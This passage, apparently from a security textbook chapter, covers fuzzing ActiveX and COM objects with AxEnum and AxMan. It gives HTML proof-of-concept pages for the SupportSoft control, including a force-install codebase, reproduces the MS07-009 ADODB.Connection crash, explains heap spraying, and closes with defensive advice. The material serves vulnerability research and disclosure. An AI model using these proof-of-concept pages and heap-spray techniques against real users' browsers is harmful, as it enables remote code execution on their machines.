We have now covered tools to fuzz basic HTML (mangleme) and JavaScript (jsfunfuzz). Another historically rich source of browser-based vulnerabilities is the code-parsing Cascading Style Sheets (CSS) definitions. The best publicly released CSS fuzzer as of this writing is css-grammar-fuzzer, again from Jesse Ruderman of the Mozilla security team. He used some of the same tricks he learned from jsfunfuzz to build this CSS fuzzer. One interesting new technique in the CSS fuzzer is recursion. Overall, this fuzzer does not seem to have had as much success finding real-world security vulnerabilities as mangleme or jsfunfuzz, but it is a framework on top of which one could experiment with other fuzzing ideas.
Reference
“CSS Grammar Fuzzer” (Jesse Ruderman) www.squarefree.com/2009/03/16/css-grammar-fuzzer/
AxEnum
The javaprxy.dll and WMIScriptUtils vulnerabilities discussed earlier in the chapter are two good representative samples of the type of vulnerability found in COM objects, one way that browsers can load additional components. The javaprxy.dll vulnerability was a COM object that was never intended to be loaded in an <OBJECT> tag and was not properly initialized when loaded in that manner. The WMIScriptUtils vulnerability was a safe-for-scripting ActiveX control with a missing security check on one of its functions, allowing remote code execution. The first public tool to target these types of vulnerabilities was AxFuzz, released on sourceforge.net by Shane Hird in early 2005. You can download the package from http://sourceforge.net/projects/axfuzz.
AxFuzz actually has two components—AxEnum and AxFuzz. AxEnum is a utility that runs locally on Windows and queries the registry (HKLMSoftwareClassesCLSID) to find every registered COM object on the system. When you run AxEnum, it outputs the clsid of every single COM object to stderr. While it is in the registry, it also looks for the IObjectSafety flag for each registered COM object to determine if the object claims that it is safe to be used in Internet Explorer. If IObjectSafety is set, it will output the clsid to stdout. So if you wanted to generate the entire list of registered COM objects to the file all.txt and print the subset of those with IObjectSafety set to True into the file named safe.txt, the command line to do so would look like this:
axenum.exe > safe.txt 2> all.txt
If you run that exact command, it will take quite a while to finish. Along the way, Windows will probably pop up various dialog boxes as each component is initialized by AxEnum. Running this on a Vista machine with Office installed will display user interface elements launching OneNote, voice recognition, and the script editor. There are a couple of reasons you might not want every single COM object on your system in the list. First, it’s faster to generate only a subset. Second, you might later use AxFuzz to fuzz the list of objects that AxEnum generated. If there is a known crash in a COM object specified early in the AxEnum output, you might want to generate the list of all COM objects that appear after the known crasher. AxEnum will take as its first argument the starting clsid, as shown here:
axenum.exe {00000000-0000-0010-0000-00000000ABCD} > safe.txt 2> all.txt
Let’s take a look at the output. The all.txt file just lists the COM objects and the identifying name of each object. Next you can see the first ten lines of output from a Vista test machine:
{0000002F-0000-0000-C000-000000000046} - CLSID_RecordInfo
{00000100-0000-0010-8000-00AA006D2EA4} - DAO.DBEngine.36
{00000101-0000-0010-8000-00AA006D2EA4} - DAO.PrivateDBEngine.36
{00000103-0000-0010-8000-00AA006D2EA4} - DAO.TableDef.36
{00000104-0000-0010-8000-00AA006D2EA4} - DAO.Field.36
{00000105-0000-0010-8000-00AA006D2EA4} - DAO.Index.36
{00000106-0000-0010-8000-00AA006D2EA4} - DAO.Group.36
{00000107-0000-0010-8000-00AA006D2EA4} - DAO.User.36
{00000108-0000-0010-8000-00AA006D2EA4} - DAO.QueryDef.36
{00000109-0000-0010-8000-00AA006D2EA4} - DAO.Relation.36
You could instantiate each clsid on this list to look for javaprxy.dll-type crashes. Microsoft has already gone through this exercise for each COM object that ships with Windows, but you might find a gem from a less-careful third party. But first let’s take a look at the list of COM objects that have set IObjectSafety to True, notifying Windows that they are safe to be loaded in IE. Here’s the first entry from the safe list on the Vista test machine:
> ADODB.Connection
{00000514-0000-0010-8000-00AA006D2EA4}
IObjectSafety:
IO. Safe for initialization set successfully
IPersist:GetInterfaceSafetyOptions Supported=3, Enabled=2
IO. Safe for scripting (IDispatchEx) set successfully
IDispatchEx:GetInterfaceSafetyOptions Supported=3, Enabled=3
_Connection:
Properties* Properties() propget
BSTR ConnectionString() propget
void ConnectionString(BSTR) propput
long CommandTimeout() propget
void CommandTimeout(long) propput
long ConnectionTimeout() propget
void ConnectionTimeout(long) propput
BSTR Version() propget
void Close()
_Recordset* Execute(BSTR, VARIANT*, long)
long BeginTrans()
void CommitTrans()
void RollbackTrans()
void Open(BSTR, BSTR, BSTR, long)
Errors* Errors() propget
BSTR DefaultDatabase() propget
void DefaultDatabase(BSTR) propput
IsolationLevelEnum IsolationLevel() propget
void IsolationLevel(IsolationLevelEnum) propput
Scanning down the list of methods, nothing jumps out as immediately dangerous, like the CreateObject() call we saw on WMIScriptUtils. ActiveX controls that Microsoft ships are especially nice to pen-test because each one has an entry on MSDN giving lots of useful information about the control that we can use to find bugs. You can quickly jump to the appropriate MSDN entry by typing the following into your favorite search engine:
site:msdn.microsoft.com ADODB.Connection methods
Scanning through the MSDN documentation in this case didn’t highlight anything obviously bad. Several of its methods do handle arguments, however, so we should later use this control as a fuzzing target. However, scrolling down a little farther in the safe.txt list gives this potentially interesting control:
> SupportSoft Installer
{01010200-5e80-11d8-9e86-0007e96c65ae}
IObjectSafety:
IO. Safe for scripting (IDispatch) set successfully
IDispatch:GetInterfaceSafetyOptions Supported=3, Enabled=1
ISdcInstallCtl:
BSTR ModuleVersion() propget
BSTR GetModulePath()
void EnableErrorExceptions(VARIANT_BOOL)
VARIANT_BOOL ErrorExceptionsEnabled()
long GetLastError()
BSTR GetLastErrorMsg()
void EnableCmdTarget(VARIANT_BOOL)
void SetIdentity(BSTR)
BSTR EnableExtension(BSTR)
BSTR Server() propget
void Server(BSTR) propput
VARIANT_BOOL Install(long, BSTR)
void WriteRegVal(BSTR, BSTR, BSTR)
BSTR ReadRegVal(BSTR, BSTR)
long FindInstalledDna(long, BSTR)
void RunCmd(BSTR, VARIANT_BOOL)
...
void RebootMachine()
...
BSTR GetHostname()
...
You should be wary of any safe-for-scripting ActiveX control with functions named Install(), WriteRegVal(), RunCmd(), GetHostname(), and RebootMachine()! Let’s take a closer look at this one. AxEnum gives us some information, but there is more metadata about this object stored in the registry at HKCRCLSID{01010200-5e80-11d8-9e86-0007e96c65ae}. In fact, when IE gets a request to instantiate this object, it queries this registry area via COM. Investigating here shows us where the DLL lives on the disk. In this case, it’s C:WindowsDownloaded Program Files gctlins.dll. We also get the ProgID, which is useful when instantiating the object from a script. This control’s ProgID is SPRT.Install.1. The .1 at the end is a kind of version number that can be omitted if there is only one SPRT.Install registered on the system.
TIP
ActiveX controls are sometimes implemented with DLLs as you see here. However, more often the file extension of the object code is .ocx. An OCX can be treated just like a DLL for our purposes.
There’s one last trick you need to know before attempting to instantiate this control to see if we can successfully call methods RebootMachine() or RunCmd(). If you create HTML and run it locally, it will load in the Local Machine Zone (LMZ). Remember from earlier that the rules governing the LMZ are different from the rules in the Internet zone where attackers live. We could build this ActiveX control test in the LMZ, but if we were to find the control to be vulnerable and report that vulnerability to the vendor, they would want to know whether it can be reproduced in the more restrictive Internet zone. So we have two options. First, we could do all our testing on a web server that is in the Internet zone. Or second, we can just tell IE to load this page in the Internet zone even though it really lives on the local machine. The trick to push a page load into a more restrictive zone is called the Mark of the Web (MOTW). It only goes one direction. You can’t place the MOTW on a page in the Internet zone telling IE to load it in the LMZ, but you can go the other way. You can read more about the Mark of the Web by following the link in the “Reference” section later. For now, just type exactly what is shown in the first line of the following HTML any time you want to force a page to load in the Internet zone:
<!-- saved from url=(0014)about:internet -->
<html><body>
<object id=a classid="clsid:01010200-5e80-11d8-9e86-0007e96c65ae"></object>
<script>
function testing() {
var b=a.GetHostname();
alert(b);
}
</script>
<input type='button' onClick='testing()' value='Test SupportSoft!'>
</body></html>
The preceding HTML instantiates the control and names it “a”. It then uses JavaScript to call a method on that object. That method could be RebootMachine(), but GetHost-name() makes a better screenshot, as you can see in Figure 23-2.
Figure 23-2 SupportSoft GetHostname example
The button is only there for the protection of the tester. The script just as easily could have run when the page loaded, but introducing the button might save you some trouble later when you have 50 of these test.html files lying around and accidentally randomly open the one that calls RebootMachine().
So it appears that this control does very bad things that a safe-for-scripting ActiveX control should not do. But this is only dangerous for the people who have this control installed, right? It’s not like you can force-install an ActiveX control onto someone’s computer just by them browsing to your web page, can you? Yes and no. Remember from the “Internet Explorer Security Concepts” section earlier that we said an attacker at evil.com can host the vulnerable safe-for-scripting ActiveX control and trick a user into accepting it. It looks like this SupportSoft Installer control is widely used for technical support purposes, and the vulnerable control is being hosted on many websites. You can easily find a copy of the vulnerable control by plugging the filename into your search engine. The filename (tgctlins.dll) is in the registry, and these things are typically packaged into CAB files, so searching for tgctlins.cab revealed a download available at https://ra.qwest.com/sdccommon/download/tgctlins.cab. To test whether this works, build some HTML that tells Internet Explorer to download the control from that URL and install it. Then load that HTML on a machine that doesn’t have the control installed yet. That is all done with one simple change to the <OBJECT> tag, specifying a CODEBASE value pointing to the URL. Here’s the new HTML:
<!-- saved from url=(0014)about:internet -->
<html><body>
<object id=a classid="clsid:01010200-5e80-11d8-9e86-0007e96c65ae" codebase=https://ra.qwest.com/sdccommon/download/tgctlins.cab ></object>
<script>
function testing() {
var b=a.GetHostname();
alert(b);
}
</script>
<input type='button' onClick='testing()' value='Test SupportSoft!'>
</body></html>
Figure 23-3 SupportSoft install dialog box
On an IE7 test machine, you’ll be presented with the security goldbar to click through and then the security warning shown in Figure 23-3.
If you can convince the user to click the Install button, IE will download the CAB file from the Qwest site, install the DLL locally, and reload the page.
From researching on the Internet after “discovering” this vulnerability, it appears that it was previously discovered earlier by other security researchers. So while the vulnerability is very real at the time of this writing, the vendor has already released a fix and has engaged Microsoft to issue a “kill bit” for this control. The kill bit is a registry key deployed by Microsoft through an Internet Explorer security update to prevent a dangerous ActiveX control or COM object from loading. You can find out more about this type of mitigation technology (and how to reverse it to do the preceding testing yourself) later in this chapter.
References
Mark of the Web msdn.microsoft.com/workshop/author/dhtml/overview/motw.asp
Mark of the Web msdn.microsoft.com/en-us/library/ms537628%28VS.85%29.aspx
AxFuzz
Most security vulnerabilities in ActiveX controls won’t be as simple to find as a method named RunCmd() on an already-installed safe-for-scripting control. More often, you’ll need to dig into how the control’s methods handle data. One easy way to do that is to fuzz each method with random garbage. AxFuzz was one of the first tools developed to do exactly that and comes in source form packaged with AxEnum. It turns out, however, that AxFuzz does not use a very sophisticated fuzzing algorithm. By default, it will only pass 0 or a long string value for each parameter. So if you want to use AxFuzz, you’ll need to add the fuzzing smarts yourself. It is only a few pages of code, so you’ll be able to quickly figure it out if you’d like to put some research into this tool, but we will not discuss it here.
AxMan
H.D. Moore (of Metasploit fame) developed a good COM object fuzzer called AxMan. AxMan runs in the browser, simulating a real environment in which to load a COM object. The nice thing about doing this is that every exploitable crash found by AxMan will be exploitable in the real world. The downside is slow throughput—IE script reloads each time you want to test a new combination of fuzzed variables. It also only works with IE6, due to defense-in-depth improvements made to IE7 in this area. But it’s easy to download the tool (http://digitaloffense.net/tools/axman/), enumerate the locally installed COM objects, and immediately start fuzzing. AxMan has discovered several serious vulnerabilities leading to Microsoft security bulletins.
Before fuzzing, AxMan requires you to enumerate the registered COM objects on the system and includes a tool (axman.exe) that works almost exactly like AxEnum.exe to dump their associated typelib information. In fact, if you compare axscan.cpp from the AxMan package to axenum.cpp, you’ll see that H.D. ripped most of axscan straight from AxEnum (and gives credit to Shane in the comments). However, the output from AxEnum is a more human-readable format, which is the reason for first introducing AxEnum earlier.
Axman.exe (the enumeration tool) runs from the command line on your test system where you’ll be fuzzing. It takes as a single argument the directory where you’d like to store the output files. Just as with axenum.exe, running axman.exe will probably take a couple of hours to complete and will pop up various dialog boxes along the way as new processes spawn. When it finishes running, the directory you passed to the program will have hundreds of files. Most of them will be named in the form {CLSID}.js, like {00000514-0000-0010-8000-00AA006D2EA4}.js. The other important file in this directory is named objects.js and lists the clsid of every registered COM object. It looks like this:
var ax_objects = new Array(
'CLSID',
'{0000002F-0000-0000-C000-000000000046}',
'{00000100-0000-0010-8000-00AA006D2EA4}',
'{00000101-0000-0010-8000-00AA006D2EA4}',
...
'{ffd90217-f7c2-4434-9ee1-6f1b530db20f}',
'{FFE2A43C-56B9-4bf5-9A79-CC6D4285608A}',
'{FFF30EA1-AACE-4798-8781-D8CA8F655BCA}'
);
If you get impatient enumerating registered COM objects and kill axman.exe before it finishes, you’ll need to edit objects.js and add the trailing “);” on the last line. Otherwise, the web UI will not recognize the file. When axman.exe finishes running, H.D. recommends rebooting your machine to free up system resources consumed by all the COM processes launched.
Now, with a well-formed objects.js and a directory full of typelib files, you’re almost ready to start fuzzing. There are two ways to proceed—you can load the files onto a web server or use them locally by adding the Mark of the Web (MOTW) like we did earlier. Either way you’ll want to
1. Copy the contents of the html directory to your web server or to a local location.
2. Make a subdirectory in that html directory named conf.
3. Copy all the files generated by axenum.exe to the conf subdirectory.
4. If you are running this locally and not using a web server, add the Mark of the Web to the index.html and fuzzer.html files you just copied over. Remember, MOTW for the Internet zone is <!—saved from url=(0014)about:internet—>.
You’re now finally ready to start fuzzing. Load index.html into your browser and you’ll be presented with a page that looks like the one shown in Figure 23-4.
This system had 4600 registered COM objects! Each was listed in objects.js and had a corresponding {CLSID}.js in the conf directory. The web UI will happily start cranking through all 4600 objects, starting at the first or anywhere in the list by changing the Start Index. You can also test a single object by filling in the CLSID text box and clicking Single.
If you run AxMan for long enough, you will find crashes, and a subset of those crashes will probably be security vulnerabilities. Before you start fuzzing, you’ll want to attach a debugger to your iexplore.exe process so you can triage the crashes with the debugger as the access violations roll in or generate crash dumps for offline analysis. One nice thing about AxMan is the deterministic fuzzing algorithm it uses. Any crash found with AxMan can be found again by rerunning AxMan against the crashing clsid because it does the same fuzzing in the same sequence every time it runs.
In this book, we don’t want to disclose vulnerabilities that haven’t yet been reported to or fixed by the vendor, so let’s use AxMan to look more closely at an already fixed vulnerability. MS07-009 described a vulnerability in Microsoft Data Access Components (MDAC). Reading through the security bulletin’s vulnerability details, you can find specific reference to the ADODB.Connection ActiveX control. Microsoft doesn’t always give as much technical detail in the bulletin as security researchers would like, but you can always count on Microsoft to be consistent in pointing at least to the affected binary and affected platforms, as well as providing workarounds. The workarounds listed in the bulletin call out the clsid (00000514-0000-0010-8000-00AA006D 2EA4), but if we want to reproduce the vulnerability, we need the property name or method name and the arguments that cause the crash. Let’s see if AxMan can rediscover the vulnerability for us.
Figure 23-4 AxMan interface
TIP
If you’re going to follow along with this section, you’ll first want to disconnect your computer from the Internet because we’re going to expose our team machine and your workstation to a critical browse-and-you’re-owned security vulnerability. Please reapply the security update after you’re done reading.
Because this vulnerability has already been fixed with a Microsoft security update, you’ll first need to uninstall the security update before you’ll be able to reproduce it. You’ll find the update in the Add/Remove Programs dialog box as KB 927779. Reboot your computer after uninstalling the update and open the AxMan web UI. Plug in the single clsid, click Single, and a few minutes later you’ll have the crash shown in Figure 23-5.
In the window status field at the bottom of the screen, you can see the property or method being tested at the time of the crash. In this case, it is the method Execute() and we’re passing in a long number as the first field, a string ‘1’ as the second field, and a long number as the third field. We don’t know yet whether this is an exploitable crash, so let’s try building up a simple HTML reproduction to do further testing in IE directly.
Figure 23-5 ADODB.Connection crash with AxMan
NOTE
If different arguments crash your installation, use those values in place of the values you see in the HTML here.
<!-- saved from url=(0014)about:internet -->
<html><body>
<object id=a classid="clsid:00000514-0000-0010-8000-00AA006D2EA4"></object>
<script>
function testing() {
var b=4294967296;
var c='1';
try { a.Execute(b,c,b); } catch(e) {}
}
</script>
<input type='button' onClick='testing()' value='Test
ADODB.Connection.Execute'>
</body></html>
Let’s fire that up inside Internet Explorer. Bingo! You can see in Figure 23-6 that we hit the same crash outside AxMan with a simple HTML test file. If you test this same HTML snippet after applying the Microsoft security update, you’ll find it fixed. That was pretty easy! If this were actually a new crash that reproduced consistently with a fully patched application, the next step would be to determine whether the crash were exploitable. You learned earlier in the book how to do this. For any exploitable vulnerability, we’d want to next report it to the affected vendor. The vulnerability report should include a small HTML snippet like we created earlier, the DLL version of the object being tested, and the IE/OS platform.
Figure 23-6 ADODB.Connection crash reproduced with a stand-alone HTML test file
Okay, let’s say that you’ve e-mailed the vulnerability to the vendor and have received confirmation of your report. Now you’d like to continue fuzzing both this control and other objects in your list. Unfortunately, ADODB.Connection was the first ActiveX control in the list on at least one test machine, and the Execute() method is very early in the list of methods. Every time you start fuzzing with AxMan, you’ll hit this crash in the first few minutes. You have a few options if you’d like to finish your fuzzing run. First, you could start fuzzing at an index after ADODB.Connection. In Figure 23-5, it was index #39, so starting at index #40 would not crash in this exact clsid. However, if you look at the AxEnum output for ADODB.Connection, or look inside the {000005 14-0000-0010-8000-00AA006D2EA4}.js file, you’ll see that there are several other methods in this same control that we’d like to fuzz. So your other option is to add this specific method from this specific clsid to AxMan’s skip list. This list is maintained in blacklist.js. You can exclude an entire clsid, a specific property being fuzzed, or a specific method. Here’s what the skip list would look like for the Execute() method of the ADODB.Connection ActiveX control:
blmethods["{00000514-0000-0010-8000-00AA006D2EA4}"] = new Array( 'Execute' );
As H.D. Moore points out in the AxMan README file, blacklist.js can double as a list of discovered bugs if you add each crashing method to the file with a comment showing the passed-in parameters from the IE status bar.
Lots of interesting things happen when you instantiate every COM object registered on the system and call every method on each of the installed ActiveX controls. You’ll find crashes as we saw earlier, but sometimes by-design behavior is even more interesting than a crash, as evidenced by the RunCmd() SupportSoft ActiveX control. If a “safe” ActiveX control were to write or read attacker-supplied stuff from a web page into the registry or disk, that would be potentially interesting behavior. AxMan 1.0 has a feature to help highlight cases of ActiveX controls doing this type of dangerous thing with un-trusted input from the Internet. AxMan will use the unique string ‘AXM4N’ as part of property and method fuzzing. So if you run filemon and regmon filtering for ‘AXM4N’ and see that string appear in a registry key operation or file system lookup or write, take a closer look at the by-design behavior of that ActiveX control to see what you can make it do. In the AxMan README file, H.D. points out a couple of interesting cases that he has found in his fuzzing.
AxMan is an interesting browser-based COM object fuzzer that has led to several Microsoft security bulletins and more than a dozen Microsoft-issued COM object kill bits. COM object fuzzing with AxMan is one of the easier ways to find new vulnerabilities today. Download it and give it a try!
References
AxMan home page digitaloffense.net/tools/axman/
Dranzer, another ActiveX fuzzer www.cert.org/vuls/discovery/dranzer.html
Microsoft Security Bulletin MS07-009 (ADODB.Connection) www.microsoft.com/technet/security/Bulletin/MS07-009.mspx
Heap Spray to Exploit
Back in the day, security experts believed that buffer overruns on the stack were exploitable, but that heap-based buffer overruns were not. And then techniques emerged to make too-large buffer overruns into heap memory exploitable for code execution. But some people still believed that crashes due to a component jumping into uninitialized or bogus heap memory were not exploitable. However, that changed with the introduction of InternetExploiter from a hacker named Skylined.
InternetExploiter
How would you control execution of an Internet Explorer crash that jumped off into random heap memory and died? That was probably the question Skylined asked himself in 2004 when trying to develop an exploit for the IFRAME vulnerability that was eventually fixed with MS04-040. The answer is that you would make sure the heap location jumped to is populated with your shellcode or a NOP sled leading to your shellcode. But what if you don’t know where that location is, or what if it continually changes? Skylined’s answer was just to fill the process’s entire heap with a NOP sled and shellcode! This is called “spraying” the heap.
An attacker-controlled web page running in a browser with JavaScript enabled has a tremendous amount of control over heap memory. Scripts can easily allocate an arbitrary amount of memory and fill it with anything. To fill a large heap allocation with a NOP sled and shellcode, the only trick is to make sure that the memory used stays as a contiguous block and is not broken up across heap chunk boundaries. Skylined knew that the heap memory manager used by IE allocates large memory chunks in 0x40000-byte blocks with 20 bytes reserved for the heap header. So a 0x40000 – 20 byte allocation would fit neatly and completely into one heap block. InternetExploiter programmatically concatenated a NOP sled (usually 0x90 repeated) and the shellcode to be the proper size allocation. It then created a simple JavaScript Array() and filled lots and lots of array elements with this built-up heap block. Filling 500+ MB of heap memory with a NOP sled and shellcode grants a fairly high chance that the IE memory error jumping off into “random” heap memory will actually jump into InternetExploiter-controlled heap memory.
In the “References” section that follows, we’ve included a number of real-world exploits that used InternetExploiter to heap spray. The best way to learn how to turn IE crashes jumping off into random heap memory into reliable, repeatable exploits via heap spray is to study these examples and try out the concepts for yourself. You should try to build an unpatched virtual machine running Windows XP SP1 with the Windows debugger for this purpose. Remove the heap spray from each exploit and watch as IE crashes with execution pointing out into random heap memory. Then try the exploit with heap spray and inspect memory after the heap spray finishes before the vulnerability is triggered. Finally, step through the assembly when the vulnerability is triggered and watch how the NOP sled is encountered and then the shellcode is run.
References
InternetExploiter download skypher.com/SkyLined/download/exploits/Internet%20Exploiter2-DEP.zip
MS04-040 exploit www.exploit-db.com/exploits/612
MS05-002 exploit www.exploit-db.com/exploits/753
MS05-037 exploit www.exploit-db.com/exploits/1079
MS06-013 exploit www.exploit-db.com/exploits/1606
MS06-055 exploit www.exploit-db.com/exploits/2408
Protecting Yourself from Client-Side Exploits
The goal of this chapter was to outline how browser-based client-side attacks happen and what access an attacker can leverage from a successful attack. We also want to point out how you can either protect yourself completely from client-side attacks, or drastically reduce the effect of a successful client-side attack on your workstation.
Keep Up-to-Date on Security Patches
This one can almost go without saying, but it’s important to point out that most real-world compromises are not due to zero-day attacks. Most compromises are the result of unpatched workstations. Leverage the convenience of Automatic Updates to apply Internet Explorer security updates as soon as you possibly can. If you’re in charge of the security of an enterprise network, conduct regular scans to find workstations that are missing patches and get them updated. This is the single most important thing you can do to protect yourself from malicious cyberattacks of any kind.
Stay Informed
Microsoft is actually pretty good about warning users about active attacks abusing unpatched vulnerabilities in Internet Explorer. The Microsoft Security Response Center blog (http://blogs.technet.com/msrc/) gives regular updates about attacks, and the Microsoft Security Advisories (www.microsoft.com/technet/security/advisory/) give detailed workaround steps to protect from vulnerabilities before the security update is available. Both are available as RSS feeds and are low-noise sources of up-to-date, relevant security guidance and intelligence.
Run Internet-Facing Applications with Reduced Privileges
Even with all security updates applied and having reviewed the latest security information available, you still might be the target of an attack abusing a previously unknown vulnerability or a particularly clever social engineering scam. You might not be able to prevent the attack, but there are several ways you can prevent the payload from running.
First, Internet Explorer on Windows Vista and Windows 7 runs by default in Protected Mode. This means that IE operates at low rights even if the logged-in user is a member of the Administrators group. More specifically, IE will be unable to write to the file system or registry and will not be able to launch processes. Lots of magic goes on under the covers, and you can read more about it by browsing the links in the “References” section. One weakness of Protected Mode is that an attack could still operate in memory and send data off the victim workstation over the Internet. However, it works great to prevent user-mode or kernel-mode rootkits from being loaded via a client-side vulnerability in the browser.
Only the newest Microsoft operating systems have the built-in infrastructure to make Protected Mode work. However, given a little more work, you can run at a reduced privilege level on down-level platforms as well. One way is via a SAFER Software Restriction Policy (SRP) on Windows XP and later. The SAFER SRP allows you to run any application (such as Internet Explorer) as a Normal/Basic User, Constrained/Restricted User, or as an Untrusted User. Running as a Restricted or Untrusted User will likely break lots of stuff because %USERPROFILE% is inaccessible and the registry (even HKCU) is read-only. However, running as a Basic User simply removes the Administrator SID from the process token. (You can learn more about SIDs, tokens, and ACLs in the next chapter.) Without administrative privileges, any malware that does run will not be able to install a keylogger, install or start a server, or install a new driver to establish a rootkit. However, the malware still runs on the same desktop as other processes with administrative privileges, so the especially clever malware could inject into a higher-privilege process or remotely control other processes via Windows messages. Despite those limitations, running as a limited user via a SAFER SRP greatly reduces the attack surface exposed to client-side attacks. You can find a great article by Michael Howard about SAFER in the “References” section that follows.
Mark Russinovich, formerly on SysInternals and now a Microsoft employee, also published a way that users logged in as administrators can run IE as limited users. His psexec command takes a −1 argument that will strip out the administrative privileges from the token. The nice thing about psexec is that you can create shortcuts on the desktop for a “normal,” fully privileged IE session or a limited user IE session. Using this method is as simple as downloading psexec from Windows Sysinternals (http:// technet.microsoft.com/en-us/sysinternals/default.aspx) and creating a new shortcut that launches something like the following:
psexec -l -d "c:Program FilesInternet ExplorerIEXPLORE.EXE"
You can read more about using psexec to run as a limited user from Mark’s blog entry link in the “References” section next.
References
Aaron Margosis’ “Non-Admin” and App-Compat WebLog blogs.msdn.com/aaron_margosis
“Browsing the Web and Reading E-mail Safely as an Administrator, Part 2” [SAFER SRP] (Michael Howard, Microsoft Security Engineering) msdn2.microsoft.com/en-us/library/ms972802.aspx
“Protected Mode in Vista IE7” (Mike Friedman, IEBlog) blogs.msdn.com/ie/archive/2006/02/09/528963.aspx
“Running as Limited User – the Easy Way” (Mark Russinovich) blogs.technet.com/markrussinovich/archive/2006/03/02/running-as-limited-user-the-easy-way.aspx